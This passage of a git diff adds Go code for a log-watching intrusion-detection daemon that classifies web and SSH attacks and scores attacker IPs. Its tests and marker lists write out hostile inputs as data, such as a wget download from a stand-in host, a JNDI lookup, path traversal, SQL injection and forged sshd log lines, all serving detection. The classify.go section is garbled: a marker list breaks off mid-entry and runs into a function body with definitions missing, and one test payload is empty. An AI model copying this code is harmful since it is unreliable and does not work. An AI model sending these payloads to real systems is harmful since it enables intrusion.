&& c.GeoUpdate > 0 { + gr.StartUpdater(ctx, c.GeoUpdate, &http.Client{Timeout: 10 * time.Minute}) + } + if hub != nil { + wg.Add(1) + go func() { defer wg.Done(); hub.Run(ctx) }() + } + log.Info("urutau started", "version", Version, "name", c.Name, "bind", ln.Addr().String(), "peers", len(peers), "auth", !c.NoAuth) + errc := make(chan error, 1) + go func() { errc <- srv.Serve(ln) }() + select { + case err := <-errc: + stop() + wg.Wait() + return err + case <-ctx.Done(): + } + log.Info("shutting down") + sctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) + defer cancel() + _ = srv.Shutdown(sctx) + wg.Wait() + if err := runner.Save(); err != nil { + log.Warn("final snapshot failed", "err", err) + } else { + log.Info("snapshot saved") + } + if err := <-errc; err != nil && !errors.Is(err, http.ErrServerClosed) { + return fmt.Errorf("server: %w", err) + } + return nil +} + +// LoadState restores the snapshot in dir. A missing file is a fresh start; a +// corrupt or truncated one is set aside (.corrupt), logged, and the daemon +// starts empty (the sources then backfill from the logs). +func LoadState(st *store.Store, dir string, log *slog.Logger) map[string]store.Offset { + path := SnapshotPath(dir) + offsets, err := st.Load(path) + if err != nil { + log.Error("snapshot unreadable, starting fresh", "err", err) + _ = os.Rename(path, path+".corrupt") + return map[string]store.Offset{} + } + if len(offsets) > 0 { + log.Info("snapshot restored", "ips", st.IPCount()) + } + return offsets +} + +func splitList(s string) []string { + var out []string + for _, p := range strings.Split(s, ",") { + if p = strings.TrimSpace(p); p != "" { + out = append(out, p) + } + } + return out +} diff --git a/internal/app/sources.go b/internal/app/sources.go new file mode 100644 index 0000000..c168d46 --- /dev/null +++ b/internal/app/sources.go @@ -0,0 +1,257 @@ +package app + +import ( + "context" + "errors" + "log/slog" + "net/netip" + "os" + "regexp" + "sync" + "sync/atomic" + "time" + + "git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core" + "git.lucasrguerra.dev.br/ciberfauna/urutau/internal/store" + "git.lucasrguerra.dev.br/ciberfauna/urutau/internal/tail" +) + +const maxLine = 64 * 1024 + +type source struct { + name, path string + parse func([]byte) (core.Event, error) + + lines, malformed atomic.Uint64 + lastEvent atomic.Int64 + backfilling atomic.Bool + fol atomic.Pointer[tail.Follower] +} + +func traefikParse(b []byte) (core.Event, error) { return core.ParseTraefik(b) } +func authParse(b []byte) (core.Event, error) { return core.ParseAuth(string(b)) } +func f2bParse(b []byte) (core.Event, error) { return core.ParseFail2ban(string(b)) } + +func (s *source) status() store.SourceStatus { + st := store.SourceStatus{Name: s.name, Path: s.path, Lines: s.lines.Load(), Malformed: s.malformed.Load(), + LastEvent: s.lastEvent.Load(), State: "following"} + switch f := s.fol.Load(); { + case s.backfilling.Load(): + st.State = "backfill" + case f == nil: + st.State = "waiting" + default: + if err := f.Err(); err != nil { + if errors.Is(err, os.ErrNotExist) { + st.State = "waiting" + } else { + st.State = "error" + switch { + case errors.Is(err, os.ErrPermission): + st.Error = "permission denied" // never echo the host path + default: + st.Error = "read error" + } + } + } + } + return st +} + +// Runner owns the log sources of one instance. +type Runner struct { + St *store.Store + Ignore []netip.Prefix + Monitor *regexp.Regexp + MonitorFrom []netip.Prefix // when set, monitors are only believed from these networks + Enr core.Enricher // optional geo and User-Agent resolver + Extra func() []store.SourceStatus + Sources []*source + DataDir string + Log *slog.Logger + + mu sync.Mutex // commit mutex: held while a line is applied and by snapshots +} + +// NewRunner builds the runner for the enabled sources. +func NewRunner(c Config, st *store.Store, log *slog.Logger) (*Runner, error) { + ign, err := core.ParseCIDRs(c.Ignore + "," + c.Trusted) + if err != nil { + return nil, err + } + r := &Runner{St: st, Ignore: ign, DataDir: c.DataDir, Log: log} + if r.MonitorFrom, err = core.ParseCIDRs(c.MonitorFrom); err != nil { + return nil, err + } + if c.MonitorUA != "" { + if r.Monitor, err = regexp.Compile(c.MonitorUA); err != nil { + return nil, err + } + } + for _, d := range []struct { + name, path string + parse func([]byte) (core.Event, error) + }{{"traefik", c.TraefikLog, traefikParse}, {"ssh", c.AuthLog, authParse}, {"fail2ban", c.Fail2banLog, f2bParse}} { + if d.path != "" { + r.Sources = append(r.Sources, &source{name: d.name, path: d.path, parse: d.parse}) + } + } + st.SetSources(r.statuses) + return r, nil +} + +func (r *Runner) statuses() []store.SourceStatus { + out := make([]store.SourceStatus, 0, len(r.Sources)) + for _, s := range r.Sources { + out = append(out, s.status()) + } + if r.Extra != nil { + out = append(out, r.Extra()...) + } + return out +} + +// monitorTraffic reports whether the event is benign traffic of a monitor. +func (r *Runner) monitorTraffic(ev *core.Event) bool { + if r.Monitor == nil || ev.Source != "traefik" || ev.UA == "" || !r.Monitor.MatchString(ev.UA) { + return false + } + if len(r.MonitorFrom) > 0 { + a, err := netip.ParseAddr(ev.IP) + if err != nil { + return false + } + ok := false + for _, p := range r.MonitorFrom { + ok = ok || p.Contains(a) + } + if !ok { + return false // a monitor User-Agent from a stranger is just a User-Agent + } + return ev.Cat == core.OK || ev.Cat == core.NotFound + } + return ev.Cat == core.OK // without --monitor-from only successful hits are filtered +} + +func (r *Runner) handle(s *source) func([]byte) { + return func(line []byte) { + defer func() { + // one hostile line must never take a source down + if p := recover(); p != nil { + s.malformed.Add(1) + r.Log.Error("recovered from a panic while handling a line", "source", s.name, "panic", p) + } + }() + if len(line) == 0 { + return + } + s.lines.Add(1) + ev, err := s.parse(line) + if err != nil { + if !errors.Is(err, core.ErrIgnored) { + s.malformed.Add(1) + } + return + } + if core.Ignored(r.Ignore, ev.IP) { + return + } + if r.monitorTraffic(&ev) { + s.lastEvent.Store(time.Now().Unix()) + r.St.Monitoring(ev.Time) + return + } + if r.Monitor != nil && ev.Source == "traefik" && ev.UA != "" && r.Monitor.MatchString(ev.UA) && ev.Cat != core.OK && ev.Cat != core.NotFound { + ev.Forged = true // UA claims to be a monitor but the request is an attack + } + s.lastEvent.Store(time.Now().Unix()) + r.enrich(&ev) + if ev.E.Tool && ev.Weak && (ev.Cat == core.OK || ev.Cat == core.NotFound) { + // cmd=, |sh, eval( only count together with an attack tool + ev.Cat, ev.Weak = core.Exploit, false + ev.Soft, ev.Strong = ev.Status < 400, ev.Status >= 400 + } + r.St.Ingest(ev) + if ev.Source == "traefik" && !ev.Forged && (ev.Cat == core.OK || ev.Cat == core.NotFound) { + r.St.Traffic(ev) + } + } +} + +// enrich fills the location and User-Agent facts of an event. +func (r *Runner) enrich(ev *core.Event) { + if r.Enr == nil { + return + } + g := r.Enr.Geo(ev.IP) + ev.E.CC, ev.E.City = g.CC, g.City + if ev.UA != "" { + u := r.Enr.UA(ev.UA) + ev.E.Browser, ev.E.OS, ev.E.Device = u.Browser, u.OS, u.Device + ev.E.Bot, ev.E.BotName = u.Bot, u.BotName + ev.E.Tool = u.Device == "tool" || u.Tool != "" + } +} + +// Start launches one goroutine per source. offsets are the saved positions. +func (r *Runner) Start(ctx context.Context, offsets map[string]store.Offset, wg *sync.WaitGroup) { + for _, s := range r.Sources { + off := offsets[s.name] + wg.Add(1) + go func(s *source, off store.Offset) { + defer wg.Done() + defer func() { + if p := recover(); p != nil { + r.Log.Error("source stopped by a panic", "source", s.name, "panic", p) + } + }() + h := r.handle(s) + if off.Inode == 0 && off.Offset == 0 { + s.backfilling.Store(true) + for _, b := range tail.Backups(s.path) { + if ctx.Err() != nil { + break + } + locked := func(l []byte) { r.mu.Lock(); h(l); r.mu.Unlock() } + if err := tail.ReadAll(b, maxLine, locked, func() { s.malformed.Add(1) }); err != nil { + r.Log.Warn("backfill failed", "source", s.name, "file", b, "err", err) + } else { + r.Log.Info("backfilled", "source", s.name, "file", b) + } + } + s.backfilling.Store(false) + } + f := tail.NewFollower(s.path, tail.Pos{Inode: off.Inode, Offset: off.Offset, FP: off.FP, FPLen: off.FPLen}) + f.MaxLine, f.Handle, f.Mu = maxLine, h, &r.mu + f.Oversize = func() { s.malformed.Add(1) } + s.fol.Store(f) + f.Run(ctx) + }(s, off) + } +} + +// Save writes a snapshot consistent with the file offsets. It refuses while a +// backfill is running (offsets would be missing and a restart would replay). +func (r *Runner) Save() error { + for _, s := range r.Sources { + if s.backfilling.Load() { + return errors.New("backfill in progress, snapshot skipped") + } + } + if err := os.MkdirAll(r.DataDir, 0o700); err != nil { + return err + } + r.mu.Lock() + defer r.mu.Unlock() + offs := map[string]store.Offset{} + for _, s := range r.Sources { + if f := s.fol.Load(); f != nil { + p := f.Pos() + offs[s.name] = store.Offset{Inode: p.Inode, Offset: p.Offset, FP: p.FP, FPLen: p.FPLen} + } + } + return r.St.Save(SnapshotPath(r.DataDir), offs) +} + +// SnapshotPath is the state file inside the data directory. +func SnapshotPath(dir string) string { return dir + "/urutau-state.gob" } diff --git a/internal/app/token_test.go b/internal/app/token_test.go new file mode 100644 index 0000000..408c394 --- /dev/null +++ b/internal/app/token_test.go @@ -0,0 +1,52 @@ +package app + +import ( + "crypto/rand" + "encoding/base64" + "encoding/hex" + "strings" + "testing" +) + +// Every token produced by the documented generators must be accepted: +// a quality rule that rejects random output breaks deploys (crash loop). +func TestCheckTokenAcceptsRandomTokens(t *testing.T) { + gens := map[string]func() string{ + "hex32": func() string { return hex.EncodeToString(randBytes(32)) }, + "hex24": func() string { return hex.EncodeToString(randBytes(24)) }, + "b64-32": func() string { return base64.StdEncoding.EncodeToString(randBytes(32)) }, + "b64-48": func() string { return base64.StdEncoding.EncodeToString(randBytes(48)) }, + } + for name, gen := range gens { + for i := 0; i < 20000; i++ { + tok := gen() + if err := checkToken("T", tok); err != nil { + t.Fatalf("%s token %q rejected: %v", name, tok, err) + } + } + } +} + +func TestCheckTokenRejectsWeakTokens(t *testing.T) { + for _, tok := range []string{ + strings.Repeat("a", 40), + strings.Repeat("abcdefghijklmnop", 2), + strings.Repeat("ab", 20), + strings.Repeat("0123456789", 4), + "abcdefghijklmnopqrstuvwxyzABCDEF", + "zyxwvutsrqponmlkjihgfedcbaZYXWVU", + "short", + } { + if err := checkToken("T", tok); err == nil { + t.Errorf("weak token %q accepted", tok) + } + } +} + +func randBytes(n int) []byte { + b := make([]byte, n) + if _, err := rand.Read(b); err != nil { + panic(err) + } + return b +} diff --git a/internal/app/version.go b/internal/app/version.go new file mode 100644 index 0000000..fe78227 --- /dev/null +++ b/internal/app/version.go @@ -0,0 +1,5 @@ +package app + +// Version is the release version (SemVer). Release builds may override it with +// -ldflags "-X .../internal/app.Version=...". +var Version = "1.0.0" diff --git a/internal/core/classify.go b/internal/core/classify.go new file mode 100644 index 0000000..07de648 --- /dev/null +++ b/internal/core/classify.go @@ -0,0 +1,155 @@ +package core + +import ( + "net/url" + "regexp" + "strings" +) + +// decode percent-decodes s up to twice (double encoding is a common evasion). +func decode(s string) string { + for i := 0; i < 2; i++ { + d, err := url.QueryUnescape(s) + if err != nil || d == s { + break + } + s = d + } + return s +} + +// Class is the verdict on one web request. +type Class struct { + Cat Category + // Soft: a scanner/exploit probe the server answered with 2xx/3xx. It may be + // a false positive (SPA fallback, documentation page), so it weighs little. + Soft bool + // Strong: a high confidence exploit attempt that was refused (4xx/5xx). + Strong bool + // Weak: only a weak exploit marker (cmd=, |sh, eval(...)) matched. The runner + // promotes it to an exploit when the User-Agent is an attack tool. + Weak bool +} + +var strongMarkers = []string{ + "../", "..\\", "..;/", "%2e%2e", "/etc/passwd", "/etc/shadow", "/proc/self", + "${jndi:", "= 400 + if hasAny(strongMarkers, raw, dec) || shellRe.MatchString(dec) { + return Class{Cat: Exploit, Soft: !refused, Strong: refused} + } + path := dec + if i := strings.IndexAny(path, "?#"); i >= 0 { + path = path[:i] + } + if isBrute(method, path, status) { + return Class{Cat: BruteForce} + } + if isScanner(path, status) { + return Class{Cat: Scanner, Soft: !refused} + } + c := Class{Cat: OK} + if status >= 400 && status < 500 { + c.Cat = NotFound + } + c.Weak = hasAny(weakMarkers, raw, dec) + return c +} + +// ClassifyHTTP returns only the category of Classify. +func ClassifyHTTP(method, rawPath string, status int) Category { + return Classify(method, rawPath, status).Cat +} diff --git a/internal/core/core_test.go b/internal/core/core_test.go new file mode 100644 index 0000000..71af497 --- /dev/null +++ b/internal/core/core_test.go @@ -0,0 +1,268 @@ +package core + +import ( + "errors" + "net/netip" + "strings" + "testing" + "time" +) + +func TestClassifyHTTP(t *testing.T) { + cases := []struct { + method, path string + status int + want Category + }{ + {"GET", "/", 200, OK}, + {"GET", "/blog/post", 200, OK}, + {"GET", "/foo", 404, NotFound}, + {"GET", "/img/x.png", 403, NotFound}, + {"GET", "/.env", 404, Scanner}, + {"GET", "/app/.env.local", 200, Scanner}, + {"GET", "/.git/config", 404, Scanner}, + {"GET", "/.aws/credentials", 404, Scanner}, + {"GET", "/wp-config.php.bak", 404, Scanner}, + {"GET", "/phpmyadmin/index.php", 404, Scanner}, + {"GET", "/phpinfo.php", 200, OK}, + {"GET", "/phpinfo.php", 404, Scanner}, + {"GET", "/server-status", 403, Scanner}, + {"GET", "/dump.sql", 200, OK}, + {"GET", "/dump.sql", 404, Scanner}, + {"GET", "/backup.zip", 200, OK}, + {"GET", "/backup.zip", 403, Scanner}, + {"GET", "/downloads/report.zip", 200, OK}, + {"GET", "/x.zip", 404, Scanner}, + {"GET", "/vendor/phpunit/src/Util/PHP/eval-stdin.php", 404, Scanner}, + {"GET", "/cgi-bin/luci", 404, Scanner}, + {"GET", "/actuator/env", 404, Scanner}, + {"GET", "/.DS_Store", 404, Scanner}, + {"GET", "/config.json", 404, Scanner}, + {"GET", "/config.json", 200, OK}, + {"GET", "/wp-admin/install.php", 200, Scanner}, + {"GET", "/wp-content/plugins/foo/readme.txt", 404, Scanner}, + {"GET", "/wp-content/plugins/foo/style.css", 200, OK}, + {"GET", "/index.php?file=../../etc/passwd", 200, Exploit}, + {"GET", "/a/%2e%2e/%2e%2e/b", 400, Exploit}, + {"GET", "/a/%252e%252e/b", 400, Exploit}, + {"GET", "/?q=${jndi:ldap://x/a}", 200, Exploit}, + {"GET", "/?q=", 200, Exploit}, + {"GET", "/?id=1%20union%20select%201", 200, Exploit}, + {"GET", "/?x=base64_decode(abc)", 200, Exploit}, + {"GET", "/?x=a;wget http://e/x", 200, Exploit}, + {"GET", "/?cmd=id", 200, OK}, + {"GET", "/?a=eval(x)", 200, OK}, + {"GET", "/?f=php://input", 200, Exploit}, + {"GET", "/shell", 404, Exploit}, + {"GET", "/.github/workflows/x.yml", 200, OK}, + {"GET", "/.git", 404, Scanner}, + {"GET", "/assets/site.zip", 200, OK}, + {"GET", "/downloads/db.tar.gz", 200, OK}, + {"GET", "/app?cmd=build", 200, OK}, + {"GET", "/blog/how-to-use-|sh", 200, OK}, + {"GET", "/actuator/health", 200, OK}, + {"GET", "/docs/phpinfo-explained", 200, OK}, + {"GET", "/shell.php", 404, Exploit}, + {"GET", "/shellfish", 200, OK}, + {"POST", "/wp-login.php", 200, BruteForce}, + {"POST", "/wp-login.php", 302, OK}, + {"GET", "/wp-login.php", 200, OK}, + {"GET", "/xmlrpc.php", 405, BruteForce}, + {"POST", "/xmlrpc.php", 200, BruteForce}, + {"POST", "/api/login", 401, BruteForce}, + {"GET", "/api/me", 401, NotFound}, + } + for _, c := range cases { + if got := ClassifyHTTP(c.method, c.path, c.status); got != c.want { + t.Errorf("%s %s %d: got %s want %s", c.method, c.path, c.status, got, c.want) + } + } +} + +func TestParseTraefik(t *testing.T) { + line := `{"ClientAddr":"45.94.31.244:56918","ClientHost":"45.94.31.244","ClientPort":"56918","ClientUsername":"-","DownstreamContentSize":12602,"DownstreamStatus":200,"Duration":175244150,"RequestHost":"cienciaembarcada.com.br","RequestMethod":"POST","RequestPath":"/wp-login.php","RequestProtocol":"HTTP/1.1","RequestScheme":"https","RouterName":"https-0-fwl1r20xzp8uf2g48log9q49-wordpress-1870@docker","StartUTC":"2026-11-14T17:19:37.101916386Z","entryPointName":"https","request_User-Agent":"Mozilla/5.0","time":"2026-11-14T17:19:37Z"}` + ev, err := ParseTraefik([]byte(line)) + if err != nil { + t.Fatal(err) + } + if ev.IP != "45.94.31.244" || ev.Cat != BruteForce || ev.Domain != "cienciaembarcada.com.br" || ev.UA != "Mozilla/5.0" || ev.Status != 200 { + t.Fatalf("unexpected %+v", ev) + } + if !ev.Time.Equal(time.Date(2026, 11, 14, 17, 19, 37, 101916386, time.UTC)) { + t.Fatalf("time %v", ev.Time) + } + if _, err := ParseTraefik([]byte(`{not json`)); err == nil { + t.Fatal("malformed must error") + } + if _, err := ParseTraefik([]byte(`{"ClientHost":"nope","StartUTC":"2026-11-14T17:19:37Z"}`)); !errors.Is(err, ErrIgnored) { + t.Fatal("bad ip must be ignored") + } + ev, err = ParseTraefik([]byte(`{"ClientHost":"1.2.3.4","RequestPath":"/a\u0000b","StartUTC":"2026-11-14T17:19:37Z","DownstreamStatus":404}`)) + if err != nil || ev.Cat != NotFound || ev.Path == "" { + t.Fatalf("%+v %v", ev, err) + } + for _, r := range ev.Path { + if r < 0x20 { + t.Fatal("control char kept") + } + } +} + +func TestParseAuth(t *testing.T) { + pre := "2026-11-14T17:31:59.022281+00:00 host sshd[123]: " + cases := []struct { + msg string + cat Category + ip string + user string + skip bool + }{ + {"Invalid user admin from 203.0.113.9 port 4444", SSHFail, "203.0.113.9", "admin", false}, + {"Connection closed by invalid user oracle 203.0.113.9 port 4445 [preauth]", SSHFail, "203.0.113.9", "oracle", false}, + {"Connection closed by authenticating user root 203.0.113.10 port 1 [preauth]", SSHFail, "203.0.113.10", "root", false}, + {"Failed password for invalid user test from 198.51.100.7 port 22 ssh2", SSHFail, "198.51.100.7", "test", false}, + {"Failed password for root from 198.51.100.7 port 22 ssh2", SSHFail, "198.51.100.7", "root", false}, + {"Failed publickey for ubuntu from 198.51.100.8 port 22 ssh2: RSA SHA256:x", SSHFail, "198.51.100.8", "ubuntu", false}, + {"Disconnected from authenticating user root 198.51.100.7 port 22 [preauth]", SSHFail, "198.51.100.7", "root", false}, + {"error: kex_exchange_identification: Connection closed by remote host", "", "", "", true}, + {"Connection closed by 192.0.2.1 port 5555", SSHProbe, "192.0.2.1", "", false}, + {"Protocol major versions differ for 192.0.2.2 port 5: SSH-2.0 vs. SSH-1.5", SSHProbe, "192.0.2.2", "", false}, + {"Unable to negotiate with 192.0.2.3 port 6: no matching key exchange method found.", SSHProbe, "192.0.2.3", "", false}, + {"Accepted publickey for lucas from 2001:db8::1 port 5 ssh2: ED25519 SHA256:x", SSHOK, "2001:db8::1", "lucas", false}, + {"Server listening on 0.0.0.0 port 22.", "", "", "", true}, + {"Received disconnect from 1.1.1.1 port 5:11: Bye [preauth]", "", "", "", true}, + } + for _, c := range cases { + ev, err := ParseAuth(pre + c.msg) + if c.skip { + if !errors.Is(err, ErrIgnored) { + t.Errorf("%q should be ignored, got %+v %v", c.msg, ev, err) + } + continue + } + if err != nil || ev.Cat != c.cat || ev.IP != c.ip || ev.User != c.user { + t.Errorf("%q: %+v %v", c.msg, ev, err) + } + } + ev, _ := ParseAuth(pre + "Invalid user a from 1.2.3.4 port 1") + if !ev.Time.Equal(time.Date(2026, 11, 14, 17, 31, 59, 22281000, time.UTC)) { + t.Fatalf("time %v", ev.Time) + } + if _, err := ParseAuth("2026-11-14T17:31:59+00:00 host cron[1]: x"); !errors.Is(err, ErrIgnored) { + t.Fatal("non-sshd must be ignored") + } +} + +func TestParseFail2ban(t *testing.T) { + ev, err := ParseFail2ban("2026-11-08 00:08:36,220 fail2ban.actions [1590587]: NOTICE [sshd] Ban 195.178.110.26") + if err != nil || ev.Cat != Ban || ev.Jail != "sshd" || ev.IP != "195.178.110.26" || ev.Unban { + t.Fatalf("%+v %v", ev, err) + } + ev, err = ParseFail2ban("2026-11-08 01:08:36,220 fail2ban.actions [1590587]: NOTICE [recidive] Unban 195.178.110.26") + if err != nil || !ev.Unban || ev.Jail != "recidive" { + t.Fatalf("%+v %v", ev, err) + } + ev, err = ParseFail2ban("2026-11-08 01:08:36,220 fail2ban.actions [1]: NOTICE [traefik-varredura] Restore Ban 1.2.3.4") + if err != nil || !ev.Restore { + t.Fatalf("%+v %v", ev, err) + } + if _, err := ParseFail2ban("2026-11-08 00:08:35,220 fail2ban.filter [1]: INFO [sshd] Found 1.2.3.4 - 2026"); !errors.Is(err, ErrIgnored) { + t.Fatal("Found must be ignored") + } +} + +func TestIgnoreAndLevels(t *testing.T) { + p, err := ParseCIDRs("127.0.0.0/8,::1,10.0.0.0/8,172.16.0.0/12") + if err != nil { + t.Fatal(err) + } + for ip, want := range map[string]bool{"127.0.0.1": true, "::1": true, "10.1.2.3": true, "172.20.0.5": true, "172.32.0.1": false, "8.8.8.8": false} { + if Ignored(p, ip) != want { + t.Errorf("%s ignored=%v want %v", ip, !want, want) + } + } + if LevelFor(49.9) != LevelSuspicious || LevelFor(50) != LevelHostile || LevelFor(10) != LevelSuspicious || LevelFor(9.9) != LevelLow { + t.Fatal("levels") + } +} + +func TestSoftStrongAndWeakVerdicts(t *testing.T) { + c := Classify("GET", "/config.json", 404) + if c.Cat != Scanner || c.Soft || c.Strong { + t.Fatalf("refused scanner probe: %+v", c) + } + if c := Classify("GET", "/.env", 200); c.Cat != Scanner || !c.Soft { + t.Fatalf("a 200 on /.env weighs little: %+v", c) + } + if c := Classify("GET", "/index.php?f=../../etc/passwd", 404); c.Cat != Exploit || !c.Strong || c.Soft { + t.Fatalf("refused traversal is a strong signal: %+v", c) + } + if c := Classify("GET", "/?q=union+select+tutorial", 200); c.Strong || !c.Soft { + t.Fatalf("a documentation search must not be a strong exploit: %+v", c) + } + if c := Classify("GET", "/app?cmd=build", 200); c.Cat != OK || !c.Weak { + t.Fatalf("cmd= alone is only a weak marker: %+v", c) + } +} + +func TestSSHInjectionAndImpostors(t *testing.T) { + pre := "2026-11-14T10:00:00.000000+00:00 h sshd[1]: " + for _, c := range []struct{ msg, ip, user string }{ + {"Invalid user a from 8.8.8.8 port 1 x from 203.0.113.9 port 4444", "203.0.113.9", ""}, + {"Failed password for invalid user a from 8.8.8.8 port 1 x from 203.0.113.9 port 4444 ssh2", "203.0.113.9", ""}, + {"Failed password for a from 1.1.1.1 port 1 x from 203.0.113.9 port 4444 ssh2", "203.0.113.9", ""}, + {"Connection closed by invalid user x from 8.8.8.8 port 1 203.0.113.9 port 4 [preauth]", "203.0.113.9", ""}, + } { + ev, err := ParseAuth(pre + c.msg) + // the user would contain " from ": such lines are discarded outright, never attributed to the fake address + if err == nil && (ev.IP == "8.8.8.8" || ev.IP == "1.1.1.1") { + t.Errorf("%q attributed to the injected address %s", c.msg, ev.IP) + } + } + ev, err := ParseAuth(pre + "Invalid user bob from 203.0.113.9 port 22") + if err != nil || ev.IP != "203.0.113.9" || ev.User != "bob" { + t.Fatalf("%+v %v", ev, err) + } + for _, l := range []string{ + `2026-11-14T10:00:00.000000+00:00 h bob: sshd: Invalid user x from 8.8.8.8 port 1`, + `2026-11-14T10:00:00.000000+00:00 h sudo[12]: bob : TTY=pts/0 ; PWD=/ ; USER=root ; COMMAND=/bin/echo sshd: Failed password for root from 1.1.1.1 port 22 ssh2`, + `2026-11-14T10:00:00.000000+00:00 h logger: sshd[1]: Invalid user x from 8.8.8.8 port 1`, + `2026-11-14T10:00:00.000000+00:00 h xsshd[1]: Invalid user x from 8.8.8.8 port 1`, + } { + if ev, err := ParseAuth(l); err == nil { + t.Errorf("impostor line accepted: %q -> %+v", l, ev) + } + } + if ev, err := ParseAuth(pre + "Invalid user u from 2001:db8::1%zz#evil port 22"); err == nil { + t.Fatalf("a zone must be rejected: %+v", ev) + } +} + +func TestZonesAreRejectedEverywhere(t *testing.T) { + for _, in := range []string{"fe80::1%x#;rm", "2001:db8::1%eth0\n8.8.8.8", "::1%x"} { + if ip, ok := cleanIP(in); ok { + t.Errorf("cleanIP(%q) = %q", in, ip) + } + } + p, _ := ParseCIDRs("127.0.0.0/8,::1") + if !Ignored(p, "::1%x") { + t.Fatal("a zoned address must never be treated as a normal visitor") + } + if IsGlobal(netip.MustParseAddr("fe80::1%eth0")) { + t.Fatal("zoned address is not global") + } + for _, a := range []string{"10.0.0.1", "127.0.0.1", "169.254.1.1", "224.0.0.1", "0.0.0.0", "100.64.0.1", "192.0.2.1", "203.0.113.7", "2001:db8::1", "::1", "fe80::1", "::ffff:10.0.0.1"} { + if IsGlobal(netip.MustParseAddr(a)) { + t.Errorf("%s must not be global", a) + } + } + for _, a := range []string{"8.8.8.8", "45.94.31.4", "2606:4700::1111"} { + if !IsGlobal(netip.MustParseAddr(a)) { + t.Errorf("%s must be global", a) + } + } + if LevelOf(500, false, false) != LevelSuspicious || LevelOf(500, true, false) != LevelHostile || LevelOf(500, true, true) != LevelLow { + t.Fatal("LevelOf") + } + _ = strings.ToLower +} diff --git a/internal/core/event.go b/internal/core/event.go new file mode 100644 index 0000000..901b87b --- /dev/null +++ b/internal/core/event.go @@ -0,0 +1,256 @@ +// Package core holds the event model, the classifier and the log parsers. +package core + +import ( + "net/netip" + "strings" + "time" +) + +// Category is the kind of activity an event represents. +type Category string + +const ( + OK Category = "ok" + NotFound Category = "notfound" + Scanner Category = "scanner" + Exploit Category = "exploit" + BruteForce Category = "bruteforce" + SSHFail Category = "ssh-fail" + SSHProbe Category = "ssh-probe" + SSHOK Category = "ssh-ok" + Ban Category = "ban" +) + +// Categories lists every category in a stable order; the position is the index +// used by the counters. +var Categories = []Category{OK, NotFound, Scanner, Exploit, BruteForce, SSHFail, SSHProbe, SSHOK, Ban} + +// NumCats is the number of categories. +const NumCats = 9 + +// Index returns the counter index of the category, or -1. +func (c Category) Index() int { + for i, x := range Categories { + if x == c { + return i + } + } + return -1 +} + +// Weight is how much one event of the category adds to an IP score. +func (c Category) Weight() float64 { + switch c { + case NotFound: + return 0.2 + case Scanner: + return 3 + case Exploit: + return 8 + case BruteForce: + return 2 + case SSHFail: + return 2 + case SSHProbe: + return 1 + case Ban: + return 10 + } + return 0 +} + +// IsHTTP reports whether the category counts as a web request. +func (c Category) IsHTTP() bool { + switch c { + case OK, NotFound, Scanner, Exploit, BruteForce: + return true + } + return false +} + +// IsMalicious reports whether the category counts as malicious activity. +func (c Category) IsMalicious() bool { + switch c { + case Scanner, Exploit, BruteForce, SSHFail, SSHProbe: + return true + } + return false +} + +// Level is the threat level derived from an IP score. +type Level string + +const ( + LevelLow Level = "low" + LevelSuspicious Level = "suspicious" + LevelHostile Level = "hostile" +) + +// Score thresholds. +const ( + HostileScore = 50 + SuspiciousScore = 10 +) + +// LevelOf is the threat level of an IP: hostile needs the score AND a strong +// signal (attack-tool User-Agent, two distinct attack categories, a fail2ban +// ban, or a high confidence exploit), and never applies to an address that +// recently logged in over SSH (admin). +func LevelOf(score float64, strong, admin bool) Level { + l := LevelFor(score) + if admin { + return LevelLow + } + if l == LevelHostile && !strong { + return LevelSuspicious + } + return l +} + +// LevelFor maps a score to a level (score only). +func LevelFor(score float64) Level { + switch { + case score >= HostileScore: + return LevelHostile + case score >= SuspiciousScore: + return LevelSuspicious + } + return LevelLow +} + +// Event is one classified observation from a log source. +type Event struct { + Time time.Time + IP string + Cat Category + Source string // traefik, ssh, fail2ban + Domain string + Method string + Path string + UA string + User string + Jail string + Status int + // Unban marks a fail2ban unban (Cat is Ban). Restore marks a ban replayed + // by fail2ban after a restart: it updates the ban state but is not scored. + Unban bool + Restore bool + // Forged marks an attack request whose User-Agent claims to be a monitor. + Forged bool + // Classification detail (Traefik): Soft = the server answered 2xx/3xx so the + // probe probably found nothing; Strong = a high confidence signal; Weak = a + // pattern that is only meaningful together with an attack-tool User-Agent. + Soft, Strong, Weak bool + // Framed: the Sec-Fetch-* headers say a browser sent it cross-site or as a + // subresource. It counts in the timeline but never scores an IP. + Framed bool + // Traffic details (Traefik only). + DurationNS int64 + Bytes int64 + Referer string + E Enrich +} + +// Enrich holds what the geo and user-agent databases say about an event. It is +// filled by the runner before the event reaches the store. +type Enrich struct { + CC string // ISO 3166-1 alpha-2, "" unknown + City string + Browser string + OS string + Device string // desktop, mobile, tablet, bot, tool, unknown + Bot bool + BotName string + Tool bool +} + +// GeoInfo is the location and network of an address. +type GeoInfo struct { + CC, Country, CountryPT, Continent, Region, City string + Lat, Lon float64 + ASN uint32 + ASOrg string +} + +// UAInfo is a parsed User-Agent. +type UAInfo struct { + Browser, BrowserMajor, OS, Device, BotName, Tool string + Bot bool +} + +// Enricher resolves addresses and User-Agents. Implementations must be safe +// for concurrent use and fast (it runs for every log line). +type Enricher interface { + Geo(ip string) GeoInfo + UA(raw string) UAInfo +} + +// ToolBonus is added to the score of every non-benign request sent by an +// attack tool (sqlmap, nuclei, zgrab, masscan...). +const ToolBonus = 2.0 + +// ParseCIDRs parses a comma separated list of CIDRs or bare IPs. +func ParseCIDRs(list string) ([]netip.Prefix, error) { + var out []netip.Prefix + for _, part := range strings.Split(list, ",") { + part = strings.TrimSpace(part) + if part == "" { + continue + } + if p, err := netip.ParsePrefix(part); err == nil { + out = append(out, p.Masked()) + continue + } + a, err := netip.ParseAddr(part) + if err != nil { + return nil, err + } + out = append(out, netip.PrefixFrom(a, a.BitLen())) + } + return out, nil +} + +// Ignored reports whether ip falls in any of the prefixes. Anything that is not +// a plain address (garbage, a zone like "::1%x") counts as ignored. +func Ignored(prefixes []netip.Prefix, ip string) bool { + a, err := netip.ParseAddr(ip) + if err != nil || a.Zone() != "" { + return true + } + a = a.Unmap() + for _, p := range prefixes { + if p.Contains(a) { + return true + } + } + return false +} + +var nonGlobal = func() []netip.Prefix { + var out []netip.Prefix + for _, c := range []string{ + "0.0.0.0/8", "10.0.0.0/8", "100.64.0.0/10", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", + "192.0.2.0/24", "192.168.0.0/16", "198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "224.0.0.0/4", 